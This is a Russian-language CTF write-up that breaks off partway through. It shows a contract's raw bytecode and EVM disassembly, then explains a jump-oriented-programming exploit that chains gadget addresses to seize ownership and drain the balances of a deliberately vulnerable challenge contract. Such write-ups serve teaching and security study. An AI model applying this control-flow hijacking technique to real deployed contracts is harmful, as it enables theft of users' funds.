ffffffffffffffffffffffffff16906020019092919080359060200190929190505050610919565b60405180821515815260200191505060405180910390f35b34801561025257600080fd5b5061025b610937565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610941565b60405180821515815260200191505060405180910390f35b34801561030e57600080fd5b50610317610a1a565b6040518082815260200191505060405180910390f35b34801561033957600080fd5b506103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610a20565b005b34801561037457600080fd5b5061037d610a27565b604051808260ff16815260200191505060405180910390f35b3480156103a257600080fd5b506103ef600480360360408110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3e565b60405180821515815260200191505060405180910390f35b34801561041357600080fd5b5061041c610af1565b6040518082815260200191505060405180910390f35b34801561043e57600080fd5b50610447610af7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047f57600080fd5b506104ac6004803603602081101561049657600080fd5b8101908080359060200190929190505050610b1d565b005b3480156104ba57600080fd5b506104fd600480360360208110156104d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b6040518082815260200191505060405180910390f35b34801561051f57600080fd5b50610528610b87565b005b34801561053657600080fd5b506105636004803603602081101561054d57600080fd5b8101908080359060200190929190505050610cf1565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561059a57600080fd5b506105a3610d0f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4610d35565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b50610674610dd7565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106e3600480360360408110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddd565b60405180821515815260200191505060405180910390f35b34801561070757600080fd5b506107546004803603604081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaa565b60405180821515815260200191505060405180910390f35b610774610ec8565b005b34801561078257600080fd5b506107e56004803603604081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee0565b6040518082815260200191505060405180910390f35b34801561080757600080fd5b5061084a6004803603602081101561081e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b005b34801561085857600080fd5b5061086161106e565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090f5780601f106108e45761010080835404028352916020019161090f565b820191906000526020600020905b8154815290600101906020018083116108f257829003601f168201915b5050505050905090565b600061092d61092661114f565b8484611157565b6001905092915050565b6000600254905090565b600061094e84848461134e565b610a0f8461095a61114f565b610a0a8560405180606001604052806028815260200161202560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c061114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b600190509392505050565b600a5481565b80600b5550565b6000600560009054906101000a900460ff16905090565b6000610ae7610a4b61114f565b84610ae28560016000610a5c61114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b611157565b6001905092915050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b273382611757565b610b3c336008548381610b3657fe5b0461191b565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e6572000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080600080610d00856119fc565b93509350935093509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcd5780601f10610da257610100808354040283529160200191610dcd565b820191906000526020600020905b815481529060010190602001808311610db057829003601f168201915b5050505050905090565b60095481565b6000610ea0610dea61114f565b84610e9b856040518060600160405280602581526020016120b76025913960016000610e1461114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b6001905092915050565b6000610ebe610eb761114f565b848461134e565b6001905092915050565b610ed0611bd1565b610ede336007543402611d3b565b565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7472616e736665724f776e6572736869702f6e6f742d6f776e6572000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600081116110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f76616c69646174655075726368617365496d706c2f6e6f2d657468657200000081525060200191505060405180910390fd5b6802b5e3af16b188000081111561114c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f996021913960400191505060405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120936024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611263576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fba6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061206e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f546023913960400191505060405180910390fd5b611465838383611f02565b6114d081604051806060016040528060268152602001611fdc602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611563816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611681578082015181840152602081019050611666565b50505050905090810190601f1680156116ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061204d6021913960400191505060405180910390fd5b6117e982600083611f02565b61185481604051806060016040528060228152602001611f77602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ab81600254611f0790919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d806000811461197b576040519150601f19603f3d011682016040523d82523d6000602084013e611980565b606091505b50509050806119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73656e6445746865722f6661696c65642d746f2d73656e64000000000000000081525060200191505060405180910390fd5b505050565b600080600080600080600080883593506020890135925060408901359150606089013590506000801b8311611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f722d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b6000801b8211611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f732d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a060001b821115611baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f6d616c6c6561626c65000000000000000000000000000081525060200191505060405180910390fd5b601b811015611bba57601b810190505b838383839750975097509750505050509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cb257600a5460095410611c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f76616c696461746550757263686173652f686172646361702d7265616368656481525060200191505060405180910390fd5b6009600081548092919060010191905055505b642e90edd0003a10611d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120026023913960400191505060405180910390fd5b611d3934600b60009054906101000a90048015611f51021767ffffffffffffffff1663ffffffff16565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dde576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dea60008383611f02565b611dff816002546116cf90919063ffffffff16565b600281905550611e56816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000611f4983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160f565b905092915050565bfefe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636576616c69646174655075726368617365496d706c2f70757263686173652d63617045524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636576616c696461746550757263686173652f6761732d70726963652d746f6f2d6869676845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202f6b4ad5c3d04c0cb2f974d1cec6bb6bde2404ff3b06700630e57218187a06c064736f6c6343000706003376616c69646174655075726368617365496d706c2f70757263686173652d636170
И контракт Setup:
Код:
pragma solidity 0.7.6;
import "private/Challenge.sol";
interface ChallengeInterface is IERC20 {
function buyTokens() external payable;
function owner() external view returns (address);
}
contract Setup {
ChallengeInterface public challenge;
constructor() public payable {
require(msg.value == 50 ether);
challenge = ChallengeInterface(address(new Challenge(990, 1010)));
challenge.buyTokens{value: msg.value}();
}
function isSolved() public view returns (bool) {
return challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
challenge.balanceOf(address(this)) == 0 &&
address(challenge).balance == 0;
}
}
А задача перед нами стоит не простая: Заставить isSolved() возвращать true! Для этого нам подребуется 3 вещи:
- Сделать адрес 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD владельцем задания
- Обнулить баланс контракта Setup
- Обнулить баланс задания
Jump Oriented Programming
Если вы ранее занимались эксплуатацией чего-либо, вам должно быть знакомо понятие ROP. Если нет, то я поясню:
Return oriented programming - это техника эксплуатации, суть которой заключается в том что вы получаете контроль над стеком вызовов, а затем подбирая так называемые гаджеты, и выставляя их в нужной последовательности, заставляете программу делать то, что вам нужно.
Думаю понятно обяснил. Если нет то вот пример:
Допустим в программе есть место, где вы можете контролировать стек. Если в этом месте есть иструкция return, вы можете перейти по адресу, который лежит сверху на стеке. Этим адресом может выступать другая часть программы которая тоже заканчивается инструкцией ret. Таким образом вы опять перейдёте к нужному вам месту, и выполните некий нужный вам ряд иструкций идущий перед инструкцией ret. Собрав несколько таких ret "гаджетов", вы сможете выполнить действие, например вызвать функцию с нужными вам параметрами на стеке и в регистах.
Вот не плохая статья на habr, с простеньким примером экплуатации: https://habr.com/ru/post/255519/
Надеюсь теперь стало ясно.
В нашем случае, у нас вместо инструкции ret будет иструкция jmp. Что сути не меняет.
Выбираем цели
Сначала давайте определим логику, которую нам надо выполнить:
1 - Назначить владельцем 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD
Для этого нам понадобится функции
transferOwnership и acceptOwnership. Точнее не сами функции, я лишь их части. Давайте взглянем:
Код:
function transferOwnership(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffff;
if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
storage[0x06] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff);
return;
} else {
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
var temp2 = temp1 + 0x20;
memory[temp1:temp1 + 0x20] = temp2 - temp1;
memory[temp2:temp2 + 0x20] = 0x1b;
var temp3 = temp2 + 0x20;
memory[temp3:temp3 + 0x20] = 0x7472616e736665724f776e6572736869702f6e6f742d6f776e65720000000000;
var temp4 = memory[0x40:0x60];
revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
}
}
Так выглядить декомпилированная
transferOwnership. Разобраться в её логике не трудно, она просто проверяет являемся ли мы действующий владельцем контракта(storage[0x05]), и если да, то назначает нового владельца(storage[0x06]).Обойти проверку будет не трудно, так как мы сможем переходить сразу к любой инструкции контракта. В данном случае нас интересует следующий блок инструкций, он пишет в storage[0x06] и заканчивается инструкцией JUMP:
Код:
102A 5B JUMPDEST
102B 80 DUP1
102C 60 PUSH1 0x06
102E 60 PUSH1 0x00
1030 61 PUSH2 0x0100
1033 0A EXP
1034 81 DUP2
1035 54 SLOAD
1036 81 DUP2
1037 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
104C 02 MUL
104D 19 NOT
104E 16 AND
104F 90 SWAP1
1050 83 DUP4
1051 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1066 16 AND
1067 02 MUL
1068 17 OR
1069 90 SWAP1
106A 55 SSTORE
106B 50 POP
106C 50 POP
106D 56 *JUMP
Запишем адрес
102A, как transfer_ownershipТеперь
acceptOwnership:
Код:
function acceptOwnership() {
if (msg.sender == storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) {
storage[0x05] = (storage[0x06] & 0xffffffffffffffffffffffffffffffffffffffff) * 0x0100 ** 0x01 | (storage[0x05] & ~(0xffffffffffffffffffffffffffffffffffffffff * 0x0100 ** 0x01));
storage[0x06] = (storage[0x06] & ~0xffffffffffffffffffffffffffffffffffffffff) | 0x00;
return;
} else {
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
var temp2 = temp1 + 0x20;
memory[temp1:temp1 + 0x20] = temp2 - temp1;
memory[temp2:temp2 + 0x20] = 0x1e;
var temp3 = temp2 + 0x20;
memory[temp3:temp3 + 0x20] = 0x6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e65720000;
var temp4 = memory[0x40:0x60];
revert(memory[temp4:temp4 + (temp3 + 0x20) - temp4]);
}
}
Здесь присутствует проверка являемся ли мы новым владельцем. Её мы тоже спокойно минуем, прыгая сразу к нужному блоку инструкций:
Код:
0C4A 5B JUMPDEST
0C4B 60 PUSH1 0x06
0C4D 60 PUSH1 0x00
0C4F 90 SWAP1
0C50 54 SLOAD
0C51 90 SWAP1
0C52 61 PUSH2 0x0100
0C55 0A EXP
0C56 90 SWAP1
0C57 04 DIV
0C58 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C6D 16 AND
0C6E 60 PUSH1 0x05
0C70 60 PUSH1 0x01
0C72 61 PUSH2 0x0100
0C75 0A EXP
0C76 81 DUP2
0C77 54 SLOAD
0C78 81 DUP2
0C79 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0C8E 02 MUL
0C8F 19 NOT
0C90 16 AND
0C91 90 SWAP1
0C92 83 DUP4
0C93 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CA8 16 AND
0CA9 02 MUL
0CAA 17 OR
0CAB 90 SWAP1
0CAC 55 SSTORE
0CAD 50 POP
0CAE 60 PUSH1 0x00
0CB0 60 PUSH1 0x06
0CB2 60 PUSH1 0x00
0CB4 61 PUSH2 0x0100
0CB7 0A EXP
0CB8 81 DUP2
0CB9 54 SLOAD
0CBA 81 DUP2
0CBB 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CD0 02 MUL
0CD1 19 NOT
0CD2 16 AND
0CD3 90 SWAP1
0CD4 83 DUP4
0CD5 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
0CEA 16 AND
0CEB 02 MUL
0CEC 17 OR
0CED 90 SWAP1
0CEE 55 SSTORE
0CEF 50 POP
0CF0 56 *JUMP
Запишем адрес
0C4A, как accept_ownership2 - Обнулить баланс контракта Setup
Обратимся к части фукнции sellTokens:
Код:
1757 5B JUMPDEST
1758 60 PUSH1 0x00
175A 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
176F 16 AND
1770 82 DUP3
1771 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1786 16 AND
1787 14 EQ
1788 15 ISZERO
1789 61 PUSH2 0x17dd
178C 57 *JUMPI
Запишем адресс 1757 как zero_setup
3 - Обнулить баланс задания
Для этого нам нужен следующий кусок функции
sellTokens:
Код:
191B 5B JUMPDEST
191C 60 PUSH1 0x00
191E 82 DUP3
191F 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff
1934 16 AND
1935 82 DUP3
1936 60 PUSH1 0x40
1938 51 MLOAD
1939 80 DUP1
193A 60 PUSH1 0x00
193C 01 ADD
193D 90 SWAP1
193E 50 POP
193F 60 PUSH1 0x00
1941 60 PUSH1 0x40
1943 51 MLOAD
1944 80 DUP1
1945 83 DUP4
1946 03 SUB
1947 81 DUP2
1948 85 DUP6
1949 87 DUP8
194A 5A GAS
194B F1 CALL
194C 92 SWAP3
194D 50 POP
194E 50 POP
194F 50 POP
1950 3D RETURNDATASIZE
1951 80 DUP1
1952 60 PUSH1 0x00
1954 81 DUP2
1955 14 EQ
1956 61 PUSH2 0x197b
1959 57 *JUMPI
Да, он заканчивается прыжком на
197B, вот этот адресс:
Код:
197B 5B JUMPDEST
197C 60 PUSH1 0x60
197E 91 SWAP2
197F 50 POP
1980 5B JUMPDEST
1981 50 POP
1982 50 POP
1983 90 SWAP1
1984 50 POP
1985 80 DUP1
1986 61 PUSH2 0x19f7
1989 57 *JUMPI
Он в свою очередь прыгнет на
19F7:
Код:
19F7 5B JUMPDEST
19F8 50 POP
19F9 50 POP
19FA 50 POP
19FB 56 *JUMP
И вновь передаст упраление нам! Так что
191B - подходит, запишем этот адресс как zero_challengeТочка входа
Точкой входа для нас станет функция
buyTokens, а вернее часть dispatcher:
Код:
1D0F 5B JUMPDEST
1D10 61 PUSH2 0x1d39
1D13 34 CALLVALUE
1D14 60 PUSH1 0x0b
1D16 60 PUSH1 0x00
1D18 90 SWAP1
1D19 54 SLOAD
1D1A 90 SWAP1
1D1B 61 PUSH2 0x0100
1D1E 0A EXP
1D1F 90 SWAP1
1D20 04 DIV
1D21 80 DUP1
1D22 15 ISZERO
1D23 61 PUSH2 0x1f51
1D26 02 MUL
1D27 17 OR
1D28 67 PUSH8 0xffffffffffffffff
1D31 16 AND
1D32 63 PUSH4 0xffffffff
1D37 16 AND
1D38 56 *JUMP
Уникальность этого блока инструкций в том, что переход в конце будет сделан на значение из памяти:
storage[0x0b]. Кроме того, в качетсве параметра будет передано msg.value, который мы контролируем. И что же нам это даёт? - спросите вы. Дело в том что в контракте существует следующая internal функция:
Код:
function func_0350(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
storage[0x0b] = arg0;
}
Она записывает первый аргумент в
storage[0x0b]. А обратится к ней, мы можем вызвав public функцию c идентификатором 0x27f83350:
Код:
} else if (var0 == 0x27f83350) {
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0366;
var2 = 0x04;
var3 = msg.data.length - var2;
if (var3 < 0x20) { revert(memory[0x00:0x00]); }
func_0350(var2, var3);
stop();
}
Вот вам и точка входа!
Гаджеты
Для того чтобы уложить гаджеты должным образом, нам потребуются ещё несколько блоков инструкций которые переместят наши гаджеты из
msg.data на стек, в нужном порядке.Начнём с самого простого что нам пригодится - гаджет который будет прыгать на адресс с верхушки стека
Код:
1D39 5B JUMPDEST
1D3A 56 *JUMP
Запишем
1D39 как jump_stackПродолжим с простыми гаджетами. Теперь нам нужен гажет, который будет останавливать выполнение, чтобы не вызвать ошибки после выполнения нашего jop эксплойта:
Код:
084A 5B JUMPDEST
084B 00 *STOP
Запишем
084A как stopНам осталось ещё 2 гаджета, и это пожалуй самая сложная для понимания часть статьи потому, что я буду объяснять как будет работать стек нашего эксплойта. Постараюсь объяснить максимально понятно:
Начнём с того, что нам нужен некий гаджет, который будет перемещать значения из
msg.data на стек. На эту роль идеально подходит функция 19FC:
Код:
function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
r2 = 0x00;
r3 = r2;
var var2 = 0x00;
var var3 = var2;
var temp0 = arg0;
var var4 = msg.data[temp0:temp0 + 0x20];
var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];
if (var5 <= 0x00 << 0x00) {
var temp11 = memory[0x40:0x60];
memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp12 = temp11 + 0x04;
var temp13 = temp12 + 0x20;
memory[temp12:temp12 + 0x20] = temp13 - temp12;
memory[temp13:temp13 + 0x20] = 0x12;
var temp14 = temp13 + 0x20;
memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
var temp15 = memory[0x40:0x60];
revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
} else if (var6 <= 0x00 << 0x00) {
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp7 = temp6 + 0x04;
var temp8 = temp7 + 0x20;
memory[temp7:temp7 + 0x20] = temp8 - temp7;
memory[temp8:temp8 + 0x20] = 0x12;
var temp9 = temp8 + 0x20;
memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
var temp10 = memory[0x40:0x60];
revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
} else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) {
var temp1 = memory[0x40:0x60];
memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
var temp2 = temp1 + 0x04;
var temp3 = temp2 + 0x20;
memory[temp2:temp2 + 0x20] = temp3 - temp2;
memory[temp3:temp3 + 0x20] = 0x12;
var temp4 = temp3 + 0x20;
memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
var temp5 = memory[0x40:0x60];
revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
} else if (var7 >= 0x1b) {
// Нужное нам место
r3 = var7;
arg0 = var5;
r2 = var6;
r0 = var4;
return r0, arg0, r2, r3;
} else {
r3 = var7 + 0x1b;
arg0 = var5;
r2 = var6;
r0 = var4;
return r0, arg0, r2, r3;
}
}
Коротко о том, что делает данная функция: Принимает аргумент как смещение в
msg.data и читает 4 значения на стек.Все проверки, идущие до
else if (var7 >= 0x1b), будут нами провалены что и приведёт нас к нужному нам месту. Запишем
19FC как store_to_stackДалее нам понадобится ещё один гаджет, он будет вызывать нашу фукнцию:
Код:
0CF1 5B JUMPDEST
0CF2 60 PUSH1 0x00
0CF4 80 DUP1
0CF5 60 PUSH1 0x00
0CF7 80 DUP1
0CF8 61 PUSH2 0x0d00
0CFB 85 DUP6
0CFC 61 PUSH2 0x19fc
0CFF 56 *JUMP
Он вызовет нашу функцию с передавая ей в качестве аргумента
stack[-1], а в качестве адреса возврата 0D00:
Код:
0D00 5B JUMPDEST
0D01 93 SWAP4
0D02 50 POP
0D03 93 SWAP4
0D04 50 POP
0D05 93 SWAP4
0D06 50 POP
0D07 93 SWAP4
0D08 50 POP
0D09 91 SWAP2
0D0A 93 SWAP4
0D0B 50 POP
0D0C 91 SWAP2
0D0D 93 SWAP4
0D0E 56 *JUMP
0D00 же, просто будет прыгать на stack[-4]Запишем
0CF1 как call_store_to_stackСобираем стек
Итак, теперь давайте пошагово разберём как будет устроен наш стек. Следите за руками:
Из нашей точки входа, будем вызывать
store_to_stack. Аргумент функция получит из msg.value, который в нашем случае будет 0x44. После того как store_to_stack выполнится, он вернётся на адрес 1D39, так как это адрес возврата, который оставила наша точка входа. Знакомый адрес, правда? Это наш гаджет jump_stack:
Код:
1D39 5B JUMPDEST
1D3A 56 *JUMP
Он совершит прыжок на адрес с верхушки стека, и это будет последний, четвёртый из прочитаных только что
store_to_stack элемент!Четвёртым элементом будет наш
call_store_to_stack, который опять вызовет наш store_to_stack, дабы переместить на стек следующие 4 элемента.Тогда третим нужно будет пложить аргумент для
store_to_stack - смещение к следующим 4 элементам из msg.data. Расчитывать его будем так:
Код:
изначальное смещение(0x44) + наши 4 уже прочитаных элемента
И так, после выполнения, как и писалось выше,
store_to_stack вернётся к адресу 0D00, код по которому закончится прыжком на stack[-4]. А stack[-4] в нашем случае будет 2 элемент который мы прочитали изначально! Им будет гаджет jump_stack, который перейдёт к адресу с верхушки стека, то есть опять к 4 элементу, но уже из следующих прочитаных. И так, после проведённых выше манипуляций, у нас на стеке останется первый элемент из первоначальных, и 4 которые мы только что прочитали. 4 следующих элемента будут уложены таким же образом, и так далее.
То есть наша полезная нагрузка будет состоять блоков по 4 элемента:
- Значение которое нужно поместить на стек
- jump_stack, нужный чтоб прыгнуть на 4 из элементов что будут прочитаны на этой итерации
